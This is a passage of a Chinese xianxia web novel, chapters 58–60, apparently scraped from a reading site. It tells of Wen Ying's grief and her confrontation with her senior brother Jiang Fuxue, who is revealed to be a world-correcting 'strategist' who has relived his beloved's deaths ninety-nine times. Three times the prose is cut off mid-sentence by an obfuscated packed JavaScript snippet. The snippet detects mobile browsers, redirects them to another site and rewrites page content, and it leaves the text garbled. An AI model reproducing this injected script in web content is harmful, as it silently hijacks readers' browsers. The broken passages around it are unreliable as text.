“从现在开始,我会让你们明白什么是一分都得不到。” 58.攻略(修) 闻樱抱起玉碎的尸体,从神色各异的几人身边走过。 经过顾其渊身边的时候,少年伸手想要去拽闻樱的胳膊。 心里有一个从未听过的声音一直催促他,不能让她走,她如果离开了,你们就再没有以后了。 然而在他即将触碰到闻樱的时候,被人拦截下来。 他抬眼,看到姜扶雪那张一成不变的淡漠面容。 “松开!”顾其渊目光阴鸷地盯紧对方的眼睛,咬牙道。 姜扶雪居高临下地看着他,轻轻扬了扬下巴。 “她讨厌你,你就不能滚远点吗?” 顾其渊以为自己听错了。 并不是因为这句话多么离谱,而是姜扶雪那张脸看着根本就不像说出来这种话的人。 “什么?” 他是顾怀若唯一的亲生儿子,谁敢对他不敬? “死鱼眼……你再说一遍!” 被骂作死鱼眼的姜扶雪将喜怒不形于色贯彻到底,他微微侧头问:“你难道看不出她讨厌你吗?” “你是她吗?你能代表她吗?你知道什么?你知道什么!”最后一句话顾其渊是大喊出来的。 她讨厌我。 怎么可能。 她怎么可能讨厌我。 她明明是爱我的,不然为什么会事无巨细的照顾我,为什么会一次又一次的纵容我,为什么在别人欺负我的时候她永远都会及时出现。 “她怎么可能讨厌我。”顾其渊自欺欺人地低声道。 “你有做什么让她不讨厌的事吗?况且……” 姜扶雪提醒他:“她是闻樱,不是你认识的任何一个人,不要把对任何人的情感寄托在她身上。她是她自己,不是任何人的影子。” 闻樱已经走远,姜扶雪也不欲多谈,松开他的手腕,转身离去。 大雨瓢泼的打在少年身上,他微微低头,失魂落魄地伫立在雨幕中。 * 闻樱不知道自己抱着玉碎的尸体走了多久,她没有燃灵气护体,雨水大颗大颗地砸在她身上,衣服湿哒哒的垂落,重的让人浑身往下沉。 头发湿漉漉的黏在面颊上,鬈曲而凌乱,白与黑是极致的分明。 雨水顺着睫毛往下滚落,让人眼睛都睁不开。 她紧紧抿着唇,漫无目的地往前走。 她真的好累。 衣服很重,脑袋很重,就连脚步也沉重。 每一次抬起,好像需要用尽全身的力气。 如果不是她什么用都没有,金陵城也不会死那么多人,如果那些人不死,玉碎就不会走到今天这个地步。 一切都是因为她,是她没用。 她跌倒在地上,为了护着玉碎,膝盖重重地跪在沙石上。 闻樱就保持着这个姿势,背脊深深俯下,将自己埋成一团。 姜扶雪看到她的那时候,她已经不知道保持了这样的姿势多久,就团在那里,在雨中缩成小小的一团。 他在她身后停下,抬起手,灵气如丝缕一般涌向她,在她身上附着,为她挡雨。 浇在身上的风雨骤停,闻樱慢慢抬起头,没有回去看身后的人,而是虚无地望向前方。 前方一片黑暗,似乎永远看不到尽头。 “他们都说我是天才。”闻樱静静开口。 姜扶雪没说话,沉默地站在她身后。 “我从小到大,学什么都很快。剑术,丹书,令咒,这些别人可能需要用一辈子去学的东西,我只需要看一眼就能学会。 ” “于是他们都说,小鱼,你真是天才。” “我相信了。我也觉得我是天才。” 而现实就像一个重重的耳光,火辣辣地印在她的脸上,仿佛在昭示天下,你看,这就是所谓的天才,不也一样有做不到的事情,救不下的人吗? 她没有等姜扶雪的回答,仿佛这一切都只是说给自己听。 她开口,茫然地念起。 “大巧成拙,大智若愚,大成若缺,以此为令。” 这是愚人。 “天行有道,请灵入圣,福祸无常,以此为令。” 这是无常。 “魔罗九变,普诰万灵,请降圣恩,以此为令。” 这是魔罗。 “万灵归心,应变无停,九州星辰,以此为令。” 这是神女。 “天罡地煞,顺道从心,冲折樽俎,以此为令。” 这是战车。 “阴阳二气,生死轮变,五神从我,以此为令。” 这是君主。 “乾坤正气,固本培元,破阴正阳,以此为令。” 这是金乌。 “八方威神,降从我心,六道天罚,以此为令。” 这是审判。 你看,攻昧八咒,每一道令咒前缀她都记得一清二楚。 这是刻在她骨子里的记忆。 但是有什么用呢? 姜扶雪道:“如果你把每一个人的生死都背在你身上,你会很累。这世间绝大部分事情都不是单靠一个人的力量就能改变的,更别提改变他人命运。” 闻樱静了一会儿,忽然呵笑一声,她的声音听不出悲喜:“这些话是你心中所想,还是曾听他人说过?” 这样的话她也对林妙音说过。 会有这么巧吗?两个人的想法能高度一致。 姜扶雪垂落眼睑,声音静如霜雪;“故人所言,亦为我心中所想。” 闻樱道:“故人。” 她总有那么多故人。 林妙音,二丫,玉碎。 “所以师兄。” 她问:“我们是故人吗?” 一道轰雷震撼旷野,雷电将两人面容照的雪彻。 少女忽然回头,黑白分明的眼眸直直看向他,在等他的答案。 可是姜扶雪不能说。 他是那个故事中,失去声音的鲛人。 “我有的时候觉得,你总是知道我不知道的东西,我喜欢吃甜食,我喜欢梳的发式,甚至……” 她停顿了一下,自嘲一笑:“连我喜欢什么样的人,你都知道。” 闻樱喜欢甜食。 因为活着很痛苦。 闻樱喜欢小女孩才梳的双髻。 因为在她还是小女孩的时候,没有人为她梳过这样的发式。 这是她内心最深处的想法,她从不欲去表达。 那么,姜扶雪为什么会知道? 她眨了眨眼,湿漉漉的头发黏在她的白皙的面颊,看上去落魄,却脆弱。她像是岌岌可危的火烛,仿佛轻轻一阵风抚过,即刻会熄灭。 “所以,你是真实存在的吗?” “是有人在操控你吗?” “或者说,你的目的是什么?” 沉默,在两人中无限蔓延。 姜扶雪指尖在身侧蜷起,他开口,声音微哑:“那么你呢?” “闻樱。” “你是真实的吗?” 闻樱愣住。 “你每次展现出来的情绪,说的话,做的事,也是真实的吗?” 闻樱忽然很古怪地笑起来。 她歪头,问:“如果我展现的情绪是真实的,如果我展现的是真实的我,难道就会有人喜欢我吗?” “不会的,我是二选一时永远的备选项,我是权衡利弊后的弃子,我是永远被掐掉的初花,我是无人问津的种子。” “我一度以为,只要我装的讨人喜欢,嘴甜面善,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982399|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒娇,会示弱,就会有人爱我。” “可是现在,有人爱我吗?” 姜扶雪:“纪如真知道玉碎在做什么,不也心甘情愿地为她而死吗?” “不,不一样。” 闻樱摇头。 “我不知道面具之下的你是什么样的,又该怎么相信你会心甘情愿的为我而死。承诺这种东西太轻了,上下嘴皮一碰,就能许下海誓山盟,我不相信你,除非你愿意解答我所有的疑惑,把真话说给我听。” 她脆弱的面容下,是决绝。 她一定要姜扶雪将一颗真心掏给她,否则她永远不会发自内心的相信他。 真心。 她一定要看到真心。 而姜扶雪也不是第一次被她这样问。 他看着她,少女孤注一掷的模样逐渐与前世重合。 她们明明拥有不一样的样貌,就连情绪她也有所隐藏,很少有人会将小师妹和死去十年的玄剑宗大师姐联系起来。 而现在,她将真实的情绪展露一角,她执着的,一腔孤勇地质问着,并将真心的一角露给他看,她在逼他,逼着他交换。 这一刻,她是闻樱,也是沈稚鱼。 可是,他该怎么开口? 无形之中,神限制了他开口说话的能力。 他看着她,久未言语。 其实相较于姜扶雪这个名字,他更熟悉的是攻略者0333. 他本身所在的世界,相较于这个世界而言,是更高维度的存在。这个世界对于他来说,更像是一本书。 身处高纬度的他们,可以看清楚低纬度世界发生的所有事情,以及事情最终的走向。 低纬度世界并非只有一个,他们像是宇宙中的微小尘埃,每一颗尘埃都拥有自己完整的故事线,会按照既定的轨道就这样运行下去。 不过偶尔也有例外。 比如这个世界本来能够达成好结局,但因为主角今天多吃了一个鸡蛋灌饼,就变成了坏结局。 于是这个时候就需要0333他们出马了。 他们更像是监督者,修正这些偏离轨道的错误,保证这些小世界达成完美结局。 这份工作0333已经做了很多年,他一共修正过多少个世界,连他自己都不清楚。他只知道自己的名字在修正排行榜榜一挂了几千年,从未掉下来过。 关于他还有一个传言—— 他从不走爱情线,只走亲情友情线。爱情线是公认的捷径,因为爱情的力量高于一切,然而0333是个异类,死都不走爱情线,说来也奇怪,哪怕这样,也没有他无法攻略成功的小世界。 人们揣测,榜一大佬不会是被爱情伤透了心吧。 其实0333只是觉得,爱情线太麻烦了,偶尔对方还要作一下,来一些你爱我我不爱你,有误会但是我就是不说的剧情。 这样的世界太没效率了。 所以0333对爱情世界敬谢不敏。 这份工作听起来很有意思,其实并不然。 任何有意思的东西,做几十年,几百年,几千年,都会觉得这玩意就是世界上最令人反胃的东西。 如果要维持一个世界运转,监督者最少也要在里面呆个十几年。一个世界十几年,0333不知疲倦地工作了几千年,他像是一只生产线上的驴,又像是一个不知疲倦的机器。 麻木,疲惫,在流水一样的剧情,流水一样的穿越者中穿梭。 救美,偏爱,撒糖。 在她遭逢危难之际适时从天而降,对她伸出援手,温暖她千疮百孔的心脏。 只需要这样,被攻略者就会卸下心防,帮助他们达成一个又一个的成就。 他像是机器人一样,不断地重复这些流程。 59.叛变 对0333而言,这一切就像是游戏。 这种感觉就像是你已经将一个游戏玩到了极致,装备、评分都已经遥遥领先于众人,所有的成就都已经做好,全部的剧情都已经解锁,你已经站在万人之巅,足以感慨一句无敌是多么寂寞。 还能继续玩什么呢? 于是你不断的创新号,练到满级。 再次创新号。再次练到满级。 好无聊。 好累。 0333的心如一潭死水,在日复一日重复的流水线工作中再也掀不起一丝波澜。 直到神又一次降临在他的面前,为他打开了去往另一个世界的通道。 神建议他去试着攻略这个世界。 这个世界0333是有所耳闻的,虽然他从没有攻略过。 因为这是一个以爱情为主线的修仙世界。 在论坛中常常有人提到这个世界,基本是作为新手试炼场而存在。论坛里光是这个世界的攻略没有一万总有一千,攻略成功的概率也极高。 没什么难度。 只要你选对被攻略者。 这本书共有三个可攻略对象。 魔主百里十鸢,拿到的剧本是《霸道魔女爱上我》《他逃她追大家都插翅难飞》《跨越物种的爱情》。 小师妹宁红玉,拿到的剧本是《我们修仙界也有甜宠文》《失忆后我绑定了万人迷系统》《锦鲤女主修仙日常》。 只要选择这两个角色,过程虽然不尽相同,但却一定能够攻略成功。 唯有第三个角色,沈稚鱼。 大家都在论坛避雷,说这个大师姐就是一个坑,谁选谁倒霉,白白浪费积分和穿越次数。 攻略率更是惨淡的0. 神的声音自冥冥虚空之中传来。 “你不想尝试攻略沈稚鱼吗?一个从未被人攻略成功的角色,你难道不好奇原因吗?你是攻略榜榜一,你就没有想过也许你可以打破这个攻略率只有0的魔咒吗?” 能有多难? 0333不以为意。 于是他接下了这个任务,进入到了这个新手世界。 他的身份是玄剑宗隐世大能,周策的唯一亲传弟子,姜扶雪。在上一届的宗门大比中,姜扶雪毫无争议的夺得魁首。 对于他而言,穿越过来的时机正是光风霁月,风光无限之时。 白衣清流高雅,公子清冽如竹。 贴在他身上的标签无非是天之骄子啊,皎皎明月之类的。 而这时候的沈稚鱼已经经历过锁灵渊与魔界一战,正是一无所有,众叛亲离之时。 这对姜扶雪来说,是一个很好的开局。 她灵脉尽断,受尽苦楚,正是最脆弱的时候。 横看竖看,这都是一道送分题。 姜扶雪按照一贯的攻略经验去攻略她,而她的好感度却像打DJ一样跳跃。同样的事情,也许今天做就会增加好感度,明天做就会减少好感度。她看似感动,但是好感度没有增长半分;她看似脸上带着笑容,但往往眼底没有一丝感情。 而关于这个世界的介绍中,沈稚鱼没有成为大反派之前,都是温柔善良,心怀正道的修士。 这真的是设定好的沈稚鱼吗?还是说设定好的人物觉醒了自己的意识? 他陷入了不安中,但即便如此,姜扶雪能成为攻略榜榜一,也不是没有道理的。 他发现沈稚鱼觉醒了自我意识之后,就试着通过相处,去挖掘她觉醒后的人设。 她自仙魔一战后,独自一人居住在风陵渡。 风陵渡是整个锁灵渊环境最恶劣的地方,终年飘雪,寒霜欺骨,在沈稚鱼住进来之前,这里都是惩罚锁灵渊内犯下大错的弟子,让他们面壁苦修之地。 而她住在了这里。 顾怀若和掌门美名其曰是让她在这里疗伤静养,因为她以灵脉封印魔主的代价就是魔焰焚心,日日承受灼烧之苦,兴许冰雪可以缓解她的灼热。 但姜扶雪知道,这点凉意对沈稚鱼而言不过是杯水车薪。 他曾无数次看到她因魔焰噬心捂住胸口,痛苦地蜷缩在地。无数次看到她因魔焰灼烧而难以入眠,熬到天明。 他一次又一次以旁观者的身份,看到她试图重新修炼,但因为灵脉尽断,所以一次又一次失败。 姜扶雪不知道就这样看了她多少年,看她一次次跌倒在地,又一次次重新爬起。看她明明是为了拯救万民苍生才走到今天这个地步,却被玄剑宗外门弟子羞辱,扣下南长老给的续命药,让她给他们磕头才肯把药给她。 看着昔日高高在上的天才,一次又一次被踩进土里。 一个连尊严都被死死按在土里的天才,还是真的天才吗? 他无法克制想要帮她的心情。 这一切就像是某一日,你在路边看到一株纤弱的小花。酷日当空,焦金流石,而她被人踩得东倒西歪,就连根须也暴露在外面,看上去俨然一副死透的模样。 这样一株不起眼的小花,你却为她停下了脚步,将她捧起带回家,移植到花盆中。 所有人都说,0333你很闲吗?这样的花要十个有百个,你这盆看起来都死透了,蔫不拉几的,你指望这花给你开花结果? 但你知道,这花还有一息尚存,还在挣扎着想要爬起来,也许是想看看她能走到什么地步,也许只是无聊透顶的一时消遣,你细心呵护,精心浇水,期待着她有朝一日活过来。 日子如流水一般过去。 忽然有一天,这株小花与你开口说话了。 “听说你每年都参加问世,师兄。”沈稚鱼回过头来看你,轻声问道,“问世问世,那你觉得何谓问世?” 的确,姜扶雪每年都参加问世。一年举办两次问世,他次次都报名。 人人都说沈稚鱼陨落之后,他就是玄剑宗的潜力股。掌门乃至周策都对他每年积极参加问世的态度表达了高度赞誉和全力支持。 而他参加问世的原因不过是因为问世所得的积分,可以在经世堂换取玄冰萃。这些玄冰萃能够在一定程度上缓解沈稚鱼的痛苦。 即便杯水车薪,但聊胜于无。 但是他曾经尝试过不经意间让她发现自己偷偷帮助她的蛛丝马迹,她的好感度不增反降。 于是姜扶雪想了一会儿,搬出了最朴实无华的那个答案:“问人世间,荡不平事。” 这是写在玄剑宗宗规上面的原话。 “是啊。”她若有所思,“问人世间,荡不平事。莫失本心,莫忘来意。” 姜扶雪不明白她说这些话的意思,不过很快,他就看到了自己浇灌的小花开花结果。 虽然,开出的是食人花,结出的是恶魂果。 沈稚鱼叛变了。 在宗门大比上,她一改所有人对她灵脉尽断的刻板印象,大杀四方。所有人都震惊于她灵脉尽断,为什么还能重新修炼,难道这就是天才? 紧接着,天才做出了一个令所有人意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12997051|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不到的举动。 她在锁灵渊大开杀戒,人挡杀人。 原来她早就偷偷修补好了灵脉,勤学苦练,走上了邪修的道路! 何谓邪修? 以夺取他人修炼成果为修炼途径,危险性极高。 邪修修炼不易,一个成型的邪修想要成长起来需要经历重重磨难,他们无法凭借自己修炼,只能不停的掠夺。 但初期掠夺难上加难,所以他们通常会被扼杀在萌芽阶段,就算邪修真正成长起来,他们想要破境时,天道给出的考验也会相较于同级别的其他修士,更难一些。 天道不容,往往都不需要大家出手,他们自己就会被困在破境阶段,魂飞魄散。 但沈稚鱼此时,距离飞升只剩一步之遥。 顾怀若抚摸着沈稚鱼消失之前残留的剑气,语气晦涩,神色莫名。 这个世界已经数不清多少年没有出现过一个飞升成神的人,多少人勤修苦练,坚守正道,也始终难以精进,现在你告诉我一个邪修,一个成长到这个地步不知道杀了多少人,掠夺了多少养分的邪修居然要飞升了?! 换成谁心里都不会平衡。 玄剑宗就此事做出的回应是发布追捕令,三界通缉沈稚鱼。 但与此同时,魔界那边宣布,魔主归位,传闻中被沈稚鱼以全身灵脉封印的魔主,其实根本就没有死,魔界士气高涨。 玄剑宗这时候可真谓腹背受敌,他们四下搜捕沈稚鱼,姜扶雪也随同一起。 但他并不是为了将沈稚鱼带回玄剑宗。 他是为了她而来,无论这个世界变成什么样,他始终要站在沈稚鱼那边。 所以沈稚鱼将他绑走的时候,他没有反抗。 她轻松撂倒随行的玄剑宗弟子,手持婴宁剑,斩出剑气。 他侧过脸,风将长发吹远,樟树遮天蔽日,风吹叶响,寂静空远。 这道剑气在他眼角割出一道血线,初时还不明显,慢慢的血迹渗出,给他清冽如玉的侧脸添了两份妖异。 沈稚鱼啧了一声,问他:“你怎么不拔剑呢?我还想着跟你切磋一下呢。” 姜扶雪抬眼看她,她坐在枝桠间,不知道等了他们多久。 她已经不再穿在锁灵渊常穿的白色,而是大红色的罗裙,像是流泻的血液。 滴答。 血滴落在他的心尖。 他眼尾殷红,避开了她的目光。 那个邪修……也许应该说那个魔女,什么也没说,从树上跳下来,在芥子囊中掏出锁灵绳,往他面前晃了晃。 “知道这是什么吗?” 姜扶雪黑白分明的眼看着她,那样清雅的,一眼能望的到底的眼神,还是让沈稚鱼稍稍窘迫了一下。 她感觉自己像逼良为娼的坏蛋。 索性演到底,恶狠狠地甩了两圈:“师兄若是懂事的话,就乖乖束手就擒吧!” 他俐落地伸出手,给沈稚鱼弄懵了。 沈稚鱼定定看了他两秒,还是把绳子在他手腕上绕了一圈又一圈。 最后往外抽了抽,确定足够结实后,将绳子往她那边一拽,她平日里扛着重剑走来走去,力气大的出奇,给姜扶雪冷不丁拽了一趔趄。 两人忽然贴得很近。 沈稚鱼笑起来,踮起脚在他眼尾亲了一下。 柔软的唇在他的伤口处抚过。 她伸出小而滑的舌,将血液一扫而尽。 “真乖。” 她说。 60.闻樱 魔女牵起他往自己的老巢走。 两人就这么一前一后走着,中间是泛着蓝色流光的锁灵绳。 姜扶雪感觉自己就像是要被恶霸迎娶进门的小媳妇,中间是一道红绸。恶霸一点都不安分,将红绸甩得飞起。 她大摇大摆地走了几步,又看着他,想了一会儿,让他背自己。 于是他弯腰,背起魔女,往她的老巢晚舟渡走去。 那条路是他走过最长的路。 他却始终觉得不够长。 如果能和她一直,一直走下去,似乎也没什么不好。 他不去想攻略任务,不去想好感度,不去想攻略失败的后果。 不去想她为什么要绑架自己,不去想她是否喜欢自己。 或许是因为这种鸵鸟心态,他和她度过了很长一段没有外人打扰的生活。 不,也许是有的。 他作为玄剑宗的天之骄子,皎皎明月,锁灵渊多次派人来索要他。 沈稚鱼每天天不亮就扛着婴宁剑出去,给他们统统打一遍,直到他们再也不敢来索要姜扶雪。 恶霸就这样绑架了一个良家少男。 外界众人扼腕叹息,这成何体统啊!我们门内新秀第一的清白都毁于一旦了。 沈稚鱼每次从百里十鸢嘴里听到这些外界传闻,都会笑的很开心。 每当这时候,百里十鸢就会提醒她:“我们坏蛋都不这么笑,跟我学,桀桀桀。” 她抱着酒壶,迷迷瞪瞪地鹦鹉学舌:“……桀桀桀!” “再坏一点!硬气起来!我们是邪修,魔修,正道的敌人!桀桀桀。” 沈稚鱼恶狠狠道:“桀桀桀。” 晚上两人到了床上,沈稚鱼熊抱着他,忽然蹦出来了一句桀桀桀。 姜扶雪:…… 百里十鸢每天都在教她什么东西。 他顺着她的动作,手沿着她的蝴蝶骨往上,将她以一种完全占有的姿态箍在怀里不能再乱动。 再然后,低头,将她的怪笑堵在嘴里。 沈稚鱼挣扎,也只剩下呜呜呜的声音。 第二天沈稚鱼从床上爬起来,站在床上气鼓鼓地说:“姜扶雪,和你睡一点都不舒服!演的好累!” 姜扶雪抬手,又一次把她捞下来。 两人又滚到了一处。 过了许久,床帏间的动静终于平息。 沈稚鱼哭唧唧地推开他,滚了两圈静静地躺在床最里侧。 姜扶雪问:“你怎么了?” 沈稚鱼捂着腰侧,哼了两下,欲哭无泪:“腰子疼。” * 沈稚鱼叛出师门之后,宿玉就被锁灵渊拉黑了,只能偷偷摸摸用姜扶雪的窥屏。 每次半夜两个人睡在一块的时候,沈稚鱼都鬼鬼祟祟地把他的宿玉偷过来,藏在被子里面逛锁灵渊的论坛。 偶尔看到两个诋毁自己的言论,想要和别人理论的时候,又想到这是姜扶雪的宿玉,只能作罢。 毕竟姜扶雪在别人眼中,现在还是魔女的阶下囚呢,哪有玩宿玉的权力? 断网! 她每次逛到兴头上的时候,宿玉都会被姜扶雪抽走,然后放到离她最远的地方,把她搂过来,紧紧锁在怀里,只能乖乖睡觉。 沈稚鱼闭上眼睛,姜扶雪把下巴轻轻放在她发顶。 * 顾怀若也来和沈稚鱼打过,昔日的师徒,旧日的恩者,两人每次打的时候排场都很大,总有好事者转播。 沈稚鱼很强,总将顾怀若打的毫无招架之力,但顾怀若这个人不知有什么底牌,沈稚鱼总是杀不掉他。 两人每次打完,都是一身的伤,然后各回各家。 顾怀若回去找宁红玉,两人柔情缱绻,你侬我侬,沈稚鱼以前是个看门的,现在却能回家找姜扶雪,姜扶雪会给她包扎伤口,细细涂药,一点疤痕都不会留下。 但顾怀若每次都是下了死手的,沈稚鱼亦然。 她身上没一块好肉,血糊一片,还能兴奋地跟他讲,自己是怎么把顾怀若打的屁滚尿流,抱头鼠窜。 姜扶雪眼中却只有那些伤口,他单膝跪地,眉目低垂,冰凉的手指带着药膏在伤口上抚过。 涂好药膏,还得打结,他打结的时候稍稍用力,沈稚鱼呜呜叫了两声,嚷着轻点。 他的手几乎是一瞬间泄力。 她不说话了。 姜扶雪包扎完,目光澄净地看着她的伤口,想着要不自己顺带修一修辅助,毕竟她天天不是在杀人,就是在杀人的路上。 心里决定去翻看辅助的书,他抬眼,看到沈稚鱼正在打量他。 他问:“怎么?不疼了吗?” 沈稚鱼摇摇头:“不疼了。” “为什么?” 沈稚鱼想了想,道:“因为我是小鱼呀,只痛七秒。” 这是姜扶雪告诉她的。 鱼的记忆只有七秒。 * 或许是有过这样和睦相处的往事,分离来临的时候总是格外悲痛一些。 这一世,沈稚鱼是被雷劈死的。 姜扶雪赶过去的时候,在他碎裂的目光中,沈稚鱼被一道天雷贯穿而亡。 那一刻,他感觉浑身血液瞬间静止。 心漏跳了一拍。 最先落地的是婴宁剑。 随后是已经死去的瘦弱身影坠落。 属于他的那朵花,亲眼死在了他面前。 0333攻略失败,回到了自己原本的世界。 见到神的那一刻,0333向神提出了交换,他要用大量的积分,换取重新攻略的机会。 神应允了。 于是他一次又一次回到沈稚鱼灵脉尽断,受尽欺辱的那一年。 一次又一次攻略失败。 她不是在杀人,就是在自杀。 她的自毁绝非姜扶雪一人能够阻止。 这一次她死于邪修的走火入魔。姜扶雪重生,帮她理顺灵气,避免走上走火入魔的老路。 但她还是死了。这一世她被数不清的正道修士围剿,死于晚舟渡。姜扶雪重生,主动把自己送上门作人质。 又一次死亡。这一世她被魔焰自体内焚烧殆尽,姜扶雪重生,寻找所有传闻中可以压制魔焰的异宝。 他不断的用积分进行一场豪赌,赌到最后双眼通红,一次又一次把积分投入到这个世界。 重生,攻略,身死,读档。 再重生,再攻略,再身死,再读档。 终于,攻略榜榜一那一长串天文数字也有用尽的那一天。 沈稚鱼死了,这是第九十九次。 他又一次见到了神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016132|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这一次他用最后的积分,和回到现实世界的机会,换取重新攻略的机会。 神愕然。 “如果攻略失败,你将会永远留在那个世界。你可能会老去,可能会死亡,这些属于你的荣耀都将消散的一干二净。你付出一切,甚至可能无法得到沈稚鱼的爱,这值得吗?” 值得。 他觉得值得。 比起曾经一潭死水,行尸走肉的生活,他宁愿成为理想主义者最忠实的信徒,助她证道。 0333在这一节点重生了无数次,看似永远在这寥寥几年读档,实则一百次下来,他已经在这个世界呆了将近一千年。 她对姜扶雪只有几年的记忆。 姜扶雪却陪她走过了一种又一种结局。 这是最后一次。 他将生命中最宝贵的东西,连同自己的一颗真心献祭给巫师,祈求巫师将小美人鱼送回王子身边。 如果依旧无法得到王子的爱,那么你,小美人鱼,将在第二天的清晨化为海上的泡沫。 父亲问,小美人鱼,你就一点也不害怕吗? 他不害怕。 这一切早就写在了他和沈稚鱼相遇的第一天,正如邮轮失事的那晚,小美人鱼破水而出,在暴风雨中,在冰冷的月光下,对王子的惊鸿一瞥。 那一次他睁开眼,发现自己躺在地上,沈稚鱼弯腰倾伞。她身后是风陵渡的漫天风雪,而她站在雪中,是唯一一抹生动鲜艳的红色。 他向神提出了一个要求。 他已经明白,一次又一次重生回沈稚鱼灵脉尽断,移居风陵渡的那些年,也只是在做无用功。因为他面对的是一颗心已经死透的成年女修,她已经在自毁的道路上无法回头。 他想要重生回沈稚鱼灵脉尽断之前的节点,就将这一次的世界线以此为开端。 他将利用宿玉,引导她避开弯路,走向最完美的结局。 或许是因为他付出的足够多,又或许是因为别的什么原因,神仅仅只是沉默了一会儿,就答应了他。 但沈稚鱼成为废人已经是这个世界写好的结局。 除非。 除非为她捏造另一个全新的身份,全新的身体。 神将捏造的权力交给了0333. 他将赋予她极致的美貌,无与伦比的天赋,还有生生跳跃的心脏。 ——那么名字呢? 神问。 “闻樱。”他说。 听闻樱花盛开的时节,就是春日。 他将相逢的日子定在春日。 春是冬的新生,新生是死亡的序曲。 这是最后一次与你相见,也许在这之后我会永坠地狱,但我已经见过最美的春天。 你是悲悯的神,我是麻木的异客,但请允许我追随你。 闻樱,我将是你最忠诚的信徒。 从这一刻开始,他成为了姜伞,而非攻略者0333. ——“所以。” 闻樱看着他:“还是不能告诉我对吗?” 淡色的唇微不可察的动了动。 闻樱慢慢笑起来。 她忽然觉得这样很没意思。 好容易掀开一角的真心又被她藏了起来,她看着姜扶雪,眨了眨眼。 “那我们分道扬镳吧,师兄。”